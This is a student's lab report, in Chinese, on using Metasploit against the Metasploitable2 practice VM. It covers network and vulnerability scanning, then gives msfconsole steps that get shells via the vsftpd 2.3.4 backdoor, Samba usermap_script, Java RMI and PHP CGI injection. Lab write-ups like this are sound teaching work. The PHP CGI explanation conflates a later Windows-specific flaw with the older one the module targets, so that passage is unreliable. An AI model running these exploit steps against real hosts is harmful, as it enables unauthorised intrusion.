20222418 2024-2025-1 《网络与系统攻防技术》实验六实验报告
1.实验内容
本实践目标是掌握metasploit的用法。
指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容。
(1)前期渗透跳转到的地方
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
在kali中执行msfconsole 启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST XX.xx.xx.xx 设置要攻击的机器IP(靶机IP)
exploit/run 开始攻击
利用成功
执行uname –a、 pwd、 id等命令 验证
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤:
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit 开始攻击
利用成功 执行uname–a验证
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
首先查看1099端口是否打开。
然后在MSF中:
use exploit/multi/misc/java_rmi_server
show options 查看配置参数
set RHOST (靶机IP)
exploit/run
sessions -i id
shell (进入meterpreter时,使用whoami验证下)
(5)PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在kali中执行msfconsole,启动metasploit
msf > use exploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit/run 开始攻击
2.实验过程
下载官方靶机Metasploitable2,使用默认账户密码msfadmin登入,ifconfig查看ip地址。
ip为172.16.226.164/21。
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
打开kali虚拟机,ifconfig查看IP。
ip为172.16.227.175/21。
在Metasploit(又名MSF框架技术)中,Aux(Auxiliary)是指辅助模块,它们负责执行扫描、嗅探、指纹识别等相关功能。而arp_sweep则是Metasploit框架中的一个具体辅助模块,主要用于进行ARP(Address Resolution Protocol,地址解析协议)扫描。
在TCP/IP网络环境中,当一台主机需要发送数据帧给另一台主机时,它首先需要知道目标主机的MAC地址。由于IP地址和MAC地址在网络层和数据链路层之间起着桥梁的作用,主机通过发送ARP请求来获取目标IP地址对应的MAC地址。如果目标主机存在并且处于活跃状态,它会回应这个ARP请求,从而暴露自己的存在。arp_sweep模块正是利用这一机制,通过发送ARP请求来探测同一子网内的活跃主机。
打开msfconsole模块,输入以下命令:
search arp_sweep
use 0
show options //查看选项
set RHOSTS 172.16.224.0/21 //扫描本网络下所有主机
run
在一堆主机中可以看见靶机172.16.226.164。
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
我选择用nmap扫描靶机的1-2048端口:
nmap -p 1-2048 172.16.226.164
③选做:也可以扫系统版本、漏洞等。
使用nmap -O 172.16.226.164
扫描操作系统信息:
使用nmap -script=vuln 172.16.226.164
扫描漏洞信息,可以发现许多端口都是开放状态,存在很多漏洞可以攻击,包括接下来我们打算利用的几个漏洞:
21端口:Vsftpd源码包后门漏洞
139端口:SambaMS-RPC Shell命令注入漏洞
1099端口:Java RMI SERVER命令执行漏洞
80端口:PHP CGI参数执行注入漏洞
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:
Vsftpd(Very Secure FTP Daemon)是一个在UNIX类操作系统上运行的FTP服务器软件,以其安全性著称。然而,在Vsftpd的某个版本(特别是2.3.4版本)中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
在kali中执行msfconsole
启动metasploit,
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST 172.16.226.164 设置要攻击的机器IP(靶机IP)
exploit/run 开始攻击
执行uname –a
、 pwd
、 id
等命令 验证
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:
Samba是在Linux和UNIX系统上实现SMB(Server Messages Block,信息服务块)协议的一个免费软件,由服务器及客户端程序构成。SMB协议是客户机/服务器型协议,它使得在局域网上不同计算机之间可以共享文件及打印机等资源。
Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤:
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST ip 172.16.226.164
exploit 开始攻击
利用成功 执行uname –a
验证
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:
Java RMI(Remote Method Invocation)是Java环境中的一种远程方法调用机制,它允许一个Java虚拟机(JVM)调用另一个JVM中的对象方法,就像调用本地对象方法一样。
Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
首先查看1099端口是否打开,在第(1)步已经查看过。
然后在MSF中:
use exploit/multi/misc/java_rmi_server
show options 查看配置参数
set RHOST 172.16.226.164
exploit/run
shell
(进入meterpreter时,使用whoami
验证下)
(5)PHP CGI参数执行注入漏洞(80端口)
漏洞原理:
PHP CGI参数执行注入漏洞允许未经身份验证的攻击者通过特定的字符序列绕过现有的安全限制,通过参数注入攻击在远程PHP服务器上执行任意代码。该漏洞主要影响在Windows平台上运行的PHP,特别是当PHP使用繁体中文、简体中文或日语区域设置时。
该漏洞的产生原因是PHP团队在实现PHP时,没有注意到Windows操作系统中编码转换的最佳匹配(Best-Fit)功能。这种疏忽允许攻击者利用特定的字符序列(如软连字符0xAD)绕过对另一个安全缺陷(CVE-2012-1823)的保护。通过构造恶意请求,攻击者可以绕过PHP原本的安全限制,实现远程代码执行。
在kali中执行msfconsole,启动metasploit
use exploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST 172.16.226.164
exploit/run 开始攻击
成功,获取shell:
3.问题及解决方案
- 问题1:
最开始时kali虚拟机和靶机不在一个网段。
kali为172.16.227.175,靶机为192.168.11.142。
- 问题1解决方案:
之前也遇到过这个问题,打算改成桥接模式,但在这里没找到设置。
于是查找资料发现可以选中机器【ctrl+D】,选择网络连接为【桥接】,但实际操作时直接退出登录了。
然后右键选中改了。
然后改完重启意识到关机就能编辑🤡。
4.学习感悟、思考等
相比之下很轻松的一次,不敢想如果上周的作业有这样一个靶机该有多幸福……
做完之后也是有一边写报告一边查一些资料,放了一些在报告里,但总体来说真的轻松一点。